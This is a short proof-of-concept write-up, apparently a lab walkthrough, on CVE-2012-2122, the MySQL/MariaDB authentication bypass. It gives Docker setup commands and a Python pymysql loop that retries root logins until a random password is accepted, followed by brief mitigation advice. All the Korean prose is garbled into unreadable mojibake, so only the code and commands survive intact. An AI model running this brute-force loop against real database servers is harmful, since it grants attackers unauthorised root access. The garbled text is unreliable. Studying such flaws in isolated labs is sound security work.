- CVE-2012-2122๋ MySQL๊ณผ MariaDB์ ํน์ ๋ฒ์ ์์ ๋ฐ๊ฒฌ๋ ์ธ์ฆ ์ฐํ ์ทจ์ฝ์
- ํน์ ๋ฒ์ ์ MySQL์ ๋น๋ฐ๋ฒํธ์ ํด์๊ฐ์ memcmp ํจ์๋ก ์บ์คํ ํ์ฌ ์ธ์ฆ
- memcmp ํจ์๋ -128 ~ 127 ์ฌ์ด์ ๊ฐ์ ๋ฐํํ๋ฏ๋ก, ์๋ชป๋ ๋น๋ฐ๋ฒํธ๋ฅผ ์ ๋ ฅํ๋๋ผ๋ 1/256์ ํ๋ฅ ๋ก ๋ก๊ทธ์ธ์ ์ฑ๊ณต
- ๋ฐ๋ผ์ ์์์ ๋น๋ฐ๋ฒํธ๋ก ๋ก๊ทธ์ธ์ ๋ฐ๋ณตํจ์ผ๋ก์จ, ์ ์์ ์ธ ๊ณต๊ฒฉ์๊ฐ DB์ root ๊ณ์ ์ ์ฝ๊ฒ ํ๋ ๊ฐ๋ฅ
docker compose up -d
์ปค๋งจ๋๋ฅผ ์ ๋ ฅํด ํ ์คํธ ํ๊ฒฝ์ ์คํ (์ทจ์ฝ์ ์ด ๋ณด๊ณ ๋ MySQL 5.5.22์ ์ปจํ ์ด๋ ์ด๋ฏธ์ง ์ฌ์ฉ)pip install pymysql
์ปค๋งจ๋๋ก poc.py ์คํ์ ์ํ pymysql ํจํค์ง ์ค์นpython3 poc.py
๋ฅผ ์คํํด DB์ root ๊ณ์ ์ ํ์ทจํ ์ ์์. ์ ์ ์ ๋ณด๋ฅผ ์ถ๋ ฅํ์ฌ root ๊ณ์ ์ผ๋ก ๋ก๊ทธ์ธ์ด ๋๋์ง ํ์ธ
1/256์ ํ๋ฅ ๋ก ๋ก๊ทธ์ธ์ ์ฑ๊ณตํ ์ ์์ผ๋ฏ๋ก, ์ถฉ๋ถํ ํ์๋งํผ ๋ก๊ทธ์ธ์ ๋ฐ๋ณต ์ํํ๋ค.
for i in range(1, 10001):
password = str(i)
conn = pymysql.connect(user=user, password=password, host=host, port=port, charset='utf8')
์ ์ ์ ๋ณด๋ฅผ ํ์ธํ์ฌ root ๊ณ์ ๋ก๊ทธ์ธ์ ์ฑ๊ณตํ์์ ํ์ธํ๋ค.
cursor.execute("SELECT user()")
ํด๋น ์ทจ์ฝ์ ์ ํตํด ๊ณต๊ฒฉ์๋ root๋ฅผ ํฌํจํ ํน์ ์ฌ์ฉ์ ๊ณ์ ์ ๋ก๊ทธ์ธํ์ฌ, ์ธ๊ฐ๋์ง ์์ ๊ถํ์ ํ๋ํ ์ ์๋ค.
์ด๋ฌํ ์ํฉ์ ๋ฐฉ์งํ๊ธฐ ์ํด, ๊ฐ์ฅ ๋จผ์ ๊ด๋ฆฌ์๋ DB ์๋ฒ์ ๋คํธ์ํฌ๊ฐ ๋ ธ์ถ๋์ง ์๋๋ก ๋ ธ๋ ฅํด์ผ ํ๋ค. ์ฆ, ์ธ๊ฐ๋์ง ์์ ์ก์ธ์ค๋ฅผ ์ฐจ๋จํ ์ ์๋๋ก ๋ฏธ๋ฆฌ ์๋ฒ๋ฅผ ์ค์ ํด์ผ ํ๋ค. ๊ทธ๋ฆฌ๊ณ ์ฃผ๊ธฐ์ ์ผ๋ก ์๋น์ค ์ทจ์ฝ์ ์ ๋ชจ๋ํฐ๋งํ๊ณ ํจ์นํด์ผ ํ๋ค.